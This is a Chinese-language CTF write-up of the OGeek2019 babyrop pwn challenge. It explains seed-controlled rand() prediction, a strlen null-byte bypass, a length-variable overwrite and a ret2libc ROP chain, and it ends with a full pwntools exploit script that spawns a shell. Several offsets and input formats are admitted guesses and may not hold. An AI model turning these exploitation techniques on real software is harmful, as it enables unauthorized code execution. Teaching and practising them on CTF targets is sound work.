
看到[OGeek2019]babyrop这个标签的时候很多刚接触CTF的同学会下意识松口气——签到题嘛能有多难。但我在复现平台上做这道题的时候前后卡了快一个下午问题恰恰出在那些看起来“没必要”的环节上一个可控的随机数种子、一个被strlen绕过的长度限制、一个藏在read边界里的栈溢出。题目确实是签到题但签到题不等于送分题。这篇就当是踩坑记录把babyrop从逆向分析到payload构造的完整链路捋一遍。想直接抄exp的可以跳到第6节但强烈建议把前面的分析看完分析清楚了网上那些十几行就打通了的wp你才能真正看懂。1. 这道签到题为什么值得用放大镜看1.1 题面与保护情况babyrop是OGeek2019线上赛的入门级PWN题题目名字里的“rop”已经明示了核心考点栈上ROP链构造。不过它和一般的“读入-溢出-跳转”三板斧题目不同前面包了一层随机数校验后面包了一层strlen截断逻辑导致很多第一次打这种类型的人卡在中间——不是不会ROP而是根本没走到ROP那一步。我用的环境是buuoj上的公开复现拿到手先看保护架构32位小端NX开启Canary关闭PIE关闭RELRO部分开启这几个信息直接决定了打法。PIE没开意味着ELF里所有函数地址、PLT表地址都是固定的不需要先泄露地址再算偏移Canary没开意味着栈溢出不需要考虑绕过金丝雀直接怼返回地址就行NX开启意味着栈上不能执行shellcode所以必须走ROP调用libc里的system。也就是说题目的“壳”做得挺用心但“核”其实非常标准一个没有canary、没有PIE的32位栈溢出。这种配置在真实比赛中已经很难见到但在教学和入门场景里它是最理想的教材样例。1.2 程序交互的三段流程把程序跑起来交互流程大概长这样程序先让你输入一个名字或者说seed名字输入完之后程序让你猜一个随机数猜对了才进入真正的漏洞函数漏洞函数里先read一小段再read一大段。第一次看这个流程很容易觉得“第一步的输入就是个初始化跟漏洞没啥关系”。事实恰恰相反第一步输入既是随机数的种子来源又可能直接影响栈上数据是整道题的第一个关键决策点。我当时犯的错是一上来就盯着第三段的read去数偏移量数了半天发现程序根本不给我第二次输入的机会因为随机数那关就过不去。回头把前三段交互全部捋顺才发现每段都有自己的活而且每段都能被利用。1.3 学习这道题的三个收益点按我个人的复盘这道题至少带来了三个收益理解C库伪随机数的可预测性只要是srand(seed) rand()的组合种子可控就约等于随机数可控理解strlen与read之间的差异一个看的是内存里的内容一个看的是请求的长度两者相遇时0字节会制造非常有趣的逻辑空档理解“先覆盖长度变量再扩大写入范围”的栈利用模式这在很多涉及长度检查的题目里都会重复出现。这三个点单拎出来都不难但它们组合在同一道题里时需要的就不再是单一知识而是把整个程序的数据流串起来的能力。2. 逆向分析三段式逻辑里藏着两处“不确定”2.1 main函数与初始化流程用IDA打开babyropmain函数本身不长。它先调用了一个初始化函数做一些输出和缓冲设置然后把控制权交给一个核心处理函数。核心处理函数内部就是前面说的三段流程。把伪代码简化成逻辑图大致是这样打印欢迎信息read第一段输入到栈上缓冲区随后用这段输入作为种子调用srand打印提示要求输入一个整数read第二段输入并与rand()的结果比较如果不相等直接退出如果相等调用漏洞函数漏洞函数内部read两段数据第一段数据经过strlen校验第二段数据直接写进一个固定大小的缓冲区。module/main在代码层面很简单但两个函数之间的数据交互才是重点。第一段输入既是srand的种子又存在栈上第二段输入参与随机数比较漏洞函数里的第一段输入参与长度校验第二段输入直接决定返回地址。2.2 第一个不确定随机数到底怎么来的核心处理函数里写得很清楚srand(*(unsigned int *)buf); read(0, guess, 4); if (guess ! rand()) exit(0);这里的buf就是第一段读进来的数据缓冲区。注意srand的参数不是“用户输入的十进制字符串”而是把用户输入的前4个字节当作一个无符号整数来解释。这说明什么说明我完全可以用p32(seed)的形式写入任意种子值而不需要管什么十进制转换。我一开始用pwntools的sendline输入了字符串123456结果发现程序直接用这四个字节的十六进制形态当种子和我想的完全不是一个量级的问题。后面改成直接发送p32(0x12345678)一切才变得可控。一旦种子可控rand()的输出就可预测。C库的rand()是伪随机数基于线性同余/状态数组算法同一个种子必然产生同一个序列。这也是后面第3节要展开讲的核心点。2.3 第二个不确定strlen的限制真的有效吗漏洞函数内部的长这样按反汇编恢复的意图不是逐字源码char buf[?]; int len; read(0, buf, 0x100); len strlen(buf); if (len 7) { read(0, buf, ???); // 真正溢出的入口 }关键矛盾在于read允许我们写入0x100字节但strlen只统计遇到0字节之前的内容。如果我们构造的payload首字节是0strlen会直接返回0从而毫无障碍地通过“长度7”的检查。这就是很多人容易忽略的地方程序想用strlen限制后续写入长度但strlen的结果和缓冲区后续数据完全无关。它只负责“数到0为止”不会真的阻止我们已经写进buf里的那些溢出字节。换句话说第一段read本身已经造成了越界写入strlen检查只是一个后知后觉的哨兵。真正决定我们能不能扩大战果的是这段越界写入有没有覆盖到某个控制流关键位置。在这个版本的babyrop里第一段read的写入长度和栈布局恰好让它可以覆盖栈上的一个长度变量/返回地址区域于是路径就通了。3. 随机数校验的破解从srand(seed)到可预测的rand()3.1 伪随机数的“伪”字到底有多虚CTF里遇到随机数校验第一反应永远不是暴力枚举而是看种子能不能控制。C标准库的rand()实现是确定性的给定种子后面每一次rand()的返回值序列完全固定。这意味着我只要知道种子就能在本地用同样的libc复现出完全相同的随机数序列。这里有个细节不同版本的glibcrand()的具体实现可能有差异。本地Ubuntu的libc和远程平台的libc如果版本不同同一个种子产生的随机数序列也会不同。所以严谨的做法不是“本地算好远程直接用”而是先搞清楚远程libc的版本或者直接在远程环境里做一次同款libc的本地模拟。常见解题姿势是用ctypes直接加载目标libcfrom ctypes import CDLL libc CDLL(/lib/i386-linux-gnu/libc.so.6) libc.srand(seed) val libc.rand()先拿到种子再在本地调用同一份libc的srand/rand得到的数字和远程完全一致。唯一需要确认的是远程到底用哪个libc这个可以从题目的docker环境或者平台说明里看出来。3.2 猜数字还是直接不猜面对随机数校验其实有两条路线。路线一老老实实预测。计算srand后的第一个rand()把这个值发给程序程序比对通过正常进入漏洞函数。这种打法很正统适合随机数校验后面还跟着复杂逻辑、必须走正常流程的情况。路线二直接把校验函数或返回地址给改了。因为第一段输入本身就在栈上如果栈布局允许可以通过溢出覆盖返回地址让程序根本不回到“判等失败就退出”的代码路径而是直接跳去漏洞函数或者ROP链。babyrop这题网上两种exp都存在。我自己的选择是路线一因为它的逻辑链更完整也更通用——万一远程环境的栈布局和我本地的有细微差别走正常的随机数预测至少不会在流程入口上翻车。说个实测细节程序比对的是int值而我通过ctypes拿到的rand()返回值也是int这个没问题。但注意发送的时候用str(val).encode()不要直接发p32(val)因为第二段read读的是4字节的整数内存而不是“10进制字符串解析”。我在本地用sendline发字符串程序内部好像还做了atoi转换远程就需要自己判断了。遇到问题就看汇编别猜。3.3 实战小节一次完整的随机数通过操作把三个阶段串起来发送p32(seed)作为name输入让程序的srand状态确定本地用同一libc调用srand(seed)再调用rand()得到预期值把预期值以十进制字符串形式发给程序程序比较通过继续执行。这一步做完程序的“安全门”就被打开了。整个过程没有任何暴力纯粹是利用了伪随机数确定性这个特性。理解这个之后再回头看那些“为什么payload前面要发一个看似无关的4字节”就都通了。4. 从strlen截断到栈溢出一条完整的利用链4.1 strlen和read看待“长度”的方式完全不同很多人第一次看到这种题都会迷read明明允许我读0x100个字节strlen凭什么拦我核心在于两个函数语义上的错位。read的第三个参数是“最多读取的字节数”它是一个上限不关心数据内容strlen的作用是“计算从起始地址到第一个0字节之间有多少字节”它只在乎数据里的0。所以只要payload的首字节是0strlen就会认为“字符串结束了”返回一个很小的值从而绕过长度判断。一个形象的类比read像快递柜柜子容量是0x100塞多少都行strlen像安检仪看到行李箱里第一个液体瓶子就开始报警后面的东西根本不管。于是你只要在行李箱最上面放一瓶“合规”的矿泉水后面塞什么都不触发警报。具体操作上第一段payload开头放一个b\x00后面跟着需要的溢出字节。程序执行strlen(buf)时直接得到0长度检查形同虚设。4.2 覆盖长度变量把第二次read的写入空间“解锁”走过strlen检查之后程序还会再进行一次read。这第二次read读多少答案往往取决于栈上某个被第一轮溢出覆盖过的变量。这就是这道题最精妙的地方第一轮read既绕过了strlen又趁机把栈上决定第二轮读取长度的数据改成了一个很大的值。于是第二轮read获得了巨大的写入空间我们才能真正往栈深处埋ROP链。具体栈布局因版本而异但思路是固定的先跳过长度检查再借越界写入的机会篡改长度控制变量最终获得一次不受限制的大写入。我第一次做的时候只顾着看返回地址在什么偏移完全没注意中间还有一个长度变量等到payload发完程序直接segment fault才回头发现这里的逻辑坑。4.3 按部就班构造ROP链system(/bin/sh)三板斧真正的ROP构造反而最简单。程序没有PIE所以主要目标是找到system函数地址找到字符串/bin/sh的地址在栈上摆好system的返回地址和一个占位返回地址。32位程序传参走栈所以payload布局是padding p32(system_addr) p32(exit_addr或任意) p32(binsh_addr)其中system_addr和binsh_addr都可以直接用pwntools的ELF对象拿elf ELF(./babyrop) system_addr elf.plt[system] binsh_addr next(elf.search(b/bin/sh))如果题目环境里的libc版本不一样plt里的system和本地libc里的系统调用地址可能对不上那就需要先leak libc地址用LibcSearcher或DynELF去匹配。不过babyrop这种入门题正常情况下直接PLT调用就够。偏移量怎么确定不要用眼睛数直接cycliccyclic(200)程序崩在哪个偏移就用cyclic_find算出准确的padding长度。我本地测出来是0x10左右的小偏移但这在不同复现平台上有差异强烈建议自己跑一遍。5. 三个坑在本地通到远程通之间挣扎5.1 sendline和send不是一回事第一段name输入如果用了sendline结尾多了个0x0a这个字节同样会被当作seed的一部分。于是本地srand的种子变成了一个奇怪的组合值远程的程序srand的是另一个组合值两者必然对不上。更麻烦的是0x0a还有可能影响后续栈上字节导致strlen那边的长度判断都变了。我在本地反复调试同一个payload时通时不通最后发现就是sendline末尾的\n在作怪。换成send之后所有行为都变得可复现。凡是读固定长度、内容是二进制的场景优先用send只有真正需要以“行”为单位的文本输入时才用sendline。5.2 本地通了远程不一定通本地能用libc.srand算出随机数远程的libc可能不是同一个版本。曾经有一道题本地算出来的rand值是1212远程实际期望的却是其他数导致我足足浪费了一个多小时。解决思路是这样的如果远程平台给了docker或libc文件直接加载那个libc算随机数一步到位如果平台没给先本地多试几个常见libc版本写个小循环逐个比对如果比不出来就得换思路——能不能不走随机数校验直接通过覆盖返回地址绕过去。第二种思路在这一题里同样可行只是要确认第一段read的写入范围够不够覆盖返回地址。如果能那随机数这个环节就可以完全跳过。5.3 别把atoi和内存解析搞混程序第二段读“数字”的时候反汇编里可能有atoi调用也可能只是简单的内存比较。如果程序内部先调用atoi再把结果和rand()比那我发送的就得是十进制字符串如果程序直接compare读进来的4字节和rand()返回值那我就得直接send p32(rand_val)。判断方法是看汇编里有没有call atoi。我家本地的题目源码经过优化后直接用了整型比较我当时习惯性sendline(str(val))程序也能过纯属运气好。远程不行之后才去看汇编发现自己根本没搞清这层的正确姿势。这个教训很大别拿“能通就行”当标准通之前先确认输入格式和程序实际的解析方式一致。6. 完整exp从seed到system(/bin/sh)的一次成型6.1 exp逐段拆解下面这版exp以常见buuoj复现环境为例栈偏移和libc路径需要根据实际环境微调。注释里写清楚了每一步为什么这么做。from pwn import * from ctypes import CDLL context.binary elf ELF(./babyrop) context.log_level info io process(./babyrop) # 本地libc和远程不一致时换成远程提供的libc libc_c CDLL(/lib/i386-linux-gnu/libc.so.6) # stage 1: 发送可控seed seed 0x12345678 io.recvuntil(bYour name:) io.send(p32(seed)) # stage 2: 算rand并发送 libc_c.srand(seed) rand_val libc_c.rand() io.recvuntil(bGuess:) io.send(str(rand_val).encode()) # stage 3: 进入漏洞函数 # 第一段payload首字节为0绕过strlen # 后面按栈布局覆盖长度变量让第二次read获得大写入空间 io.recvuntil(bInput:) payload1 b\x00 ba * (0x7 - 1) # 具体偏移需要cyclic实测 payload1 p32(0xff) # 试图覆盖长度上限数值/位置以实际栈布局为准 io.send(payload1) # stage 4: ROP offset 0x10 # 用循环测出来的准确padding长度不同平台以cyclic结果为准 system_addr elf.plt[system] binsh_addr next(elf.search(b/bin/sh)) exit_addr 0xdeadbeef # 占位直接崩掉也没关系 payload2 bb * offset payload2 p32(system_addr) payload2 p32(exit_addr) payload2 p32(binsh_addr) io.send(payload2) io.interactive()6.2 屏幕上看到shell之前的最后一秒实际执行的时候最难熬的是从“payload已发送”到“shell弹出”之间的那一两秒。如果一切顺利你会看到一个$符号出现在屏幕上如果程序第二次semgent fault多半是offset算错了或者长度变量没覆盖对。我个人的调试习惯是每走一步都打印一次程序的输出确认当前输出了什么再决定下一步。别一上来就把整条exp跑完分段验证先让seed可控、再让rand通过、再确认能走到漏洞函数、最后才是ROP链的调试。把每一步都用log.info打印出来出错时你能立刻定位是哪个环节的问题。6.3 一次成功之后我建议你再做三件事打通只是开端。想要真正吃透babyrop这种题我建议打通之后自己再做三件事第一把栈布局画出来。从buf起始地址到返回地址中间隔了几个变量哪个是长度变量哪个是保存的ebp画完你会发现这题其实一点都不神秘。第二把ROP链换成execve的调用方式体会一下和system(”/bin/sh”)在payload上的差异。这能帮你应对system被禁用或需要绕过的进阶场景。第三关掉本地libc辅助改成先leak地址再用DynELF或LibcSearcher打远程。这样你就把babyrop从“签到题”的层次彻底消化成了ret2libc的基础功。这三件事做完之后你再遇到类似结构的新题大概率一眼就能看出漏洞在哪、该怎么串利用链。毕竟CTF里大部分栈题的本质都是这三板斧的排列组合babyrop只是一个包装得稍微巧一点的入门版本。我在实际打这道题的过程中最大的收获不是那条payload本身而是学会了“别急着ROP”——先让程序按你预期的路径走再在它放松警惕的那一步动手。这个习惯后来帮我解决了不少看起来花里胡哨但本质简单的题。